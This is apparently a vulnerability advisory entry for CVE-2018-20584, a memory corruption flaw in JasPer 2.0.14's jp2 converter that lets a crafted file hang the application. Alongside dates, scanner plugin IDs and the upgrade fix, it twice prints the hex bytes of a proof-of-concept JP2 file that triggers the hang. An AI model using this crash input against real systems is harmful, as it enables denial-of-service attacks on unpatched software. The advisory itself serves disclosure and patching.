Jasper 2.0.14 jp2 Converter memory corruption

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A vulnerability classified as problematic has been found in Jasper 2.0.14 (Programming Tool Software). This affects some unknown processing of the component jp2 Converter. The manipulation with an unknown input leads to a memory corruption vulnerability. CWE is classifying the issue as CWE-119. The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. This is going to have an impact on availability. The summary by CVE is:

JasPer 2.0.14 allows remote attackers to cause a denial of service (application hang) via an attempted conversion to the jp2 format, as demonstrated by 00 00 00 0c 6a 50 20 20 0d 0a 87 0a 00 00 00 14 66 74 79 70 6a 70 32 20 00 00 00 00 6a 70 32 20 00 00 00 2d 6a 70 32 68 00 00 00 16 69 68 64 72 00 00 00 20 00 00 00 20 00 03 07 07 00 00 00 00 00 0f 63 6f 6c 72 01 00 00 00 00 00 10 00 00 00 d8 6a 70 32 63 ff 4f ff 51 00 2f 00 00 00 08 00 20 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 20 00 00 00 00 00 00 00 00 00 03 07 01 01 07 01 01 07 01 01 ff 52 00 0c 00 00 00 01 01 00 04 04 00 01 ff 5c 00 04 40 40 ff 64 00 25 00 01 43 72 65 61 74 65 64 20 62 79 20 4f 70 65 6e 4a 50 45 47 20 76 65 72 73 69 6f 6e 20 32 2e 31 2e 30 ff 90 00 0a 00 00 00 00 00 60 00 01 ff 93 dc d7 00 18 80 0e 21 bf fc 2e ea b2 37 ce db f3 05 52 3f 43 2d 2b dd d7 64 c4 3d 67 ff 72 ab 35 2b f8 43 ca b3 5f ca d9 24 85 b4 59 5c 8d 25 fd 77 80 cb 78 1d 87 60 d6 f8 28 6e 8f 65 45 25 ea ff 5d bf 1a 71 13 10 a9 de e4 dd 6b 41 f7 38 dc 66 4f ff d9.

The bug was discovered 12/29/2018. The weakness was disclosed 12/30/2018 (Website). It is possible to read the advisory at securityfocus.com. This vulnerability is uniquely identified as CVE-2018-20584 since 12/29/2018. It is possible to initiate the attack remotely. No form of authentication is needed for exploitation. Technical details are unknown but a public exploit is available.

The exploit is shared for download at vuldb.com. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 1 days. During that time the estimated underground price was around $0-$5k. The vulnerability scanner Nessus provides a plugin with the ID 120961 (Debian DLA-1628-2 : jasper regression update), which helps to determine the existence of the flaw in a target environment. It is assigned to the family Debian Local Security Checks and running in the context l. The commercial vulnerability scanner Qualys is able to test this issue with plugin 176706 (Debian Security Update for jasper (DLA 1628-1)). The code used by the exploit is:

00 00 00 0c 6a 50 20 20 0d 0a 87 0a 00 00 00 14 66 74 79 70 6a 70 32 20 00 00 00 00 6a 70 32 20 00 00 00 2d 6a 70 32 68 00 00 00 16 69 68 64 72 00 00 00 20 00 00 00 20 00 03 07 07 00 00 00 00 00 0f 63 6f 6c 72 01 00 00 00 00 00 10 00 00 00 d8 6a 70 32 63 ff 4f ff 51 00 2f 00 00 00 08 00 20 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 20 00 00 00 00 00 00 00 00 00 03 07 01 01 07 01 01 07 01 01 ff 52 00 0c 00 00 00 01 01 00 04 04 00 01 ff 5c 00 04 40 40 ff 64 00 25 00 01 43 72 65 61 74 65 64 20 62 79 20 4f 70 65 6e 4a 50 45 47 20 76 65 72 73 69 6f 6e 20 32 2e 31 2e 30 ff 90 00 0a 00 00 00 00 00 60 00 01 ff 93 dc d7 00 18 80 0e 21 bf fc 2e ea b2 37 ce db f3 05 52 3f 43 2d 2b dd d7 64 c4 3d 67 ff 72 ab 35 2b f8 43 ca b3 5f ca d9 24 85 b4 59 5c 8d 25 fd 77 80 cb 78 1d 87 60 d6 f8 28 6e 8f 65 45 25 ea ff 5d bf 1a 71 13 10 a9 de e4 dd 6b 41 f7 38 dc 66 4f ff d9

Upgrading eliminates this vulnerability. A possible mitigation has been published 4 months after the disclosure of the vulnerability.

The vulnerability is also documented in the vulnerability database at Tenable (120961). The entries 126378, 126633, 127105 and 127106 are pretty similar.

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Class: Memory corruption
CWE: CWE-119
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Nessus ID: 120961
Nessus Name: Debian DLA-1628-2 : jasper regression update
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Advisory: 192⛔
Status: Confirmed

CVE: CVE-2018-20584 (🔍)
SecurityFocus: 106356 - JasPer CVE-2018-20584 Denial of Service Vulnerability

scip Labs: https://www.scip.ch/en/?labs.20161013
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Created: 12/30/2018 17:58
Updated: 06/22/2023 14:16
Changes: 12/30/2018 17:58 (77), 04/25/2020 09:53 (5), 06/22/2023 14:14 (4), 06/22/2023 14:16 (1)
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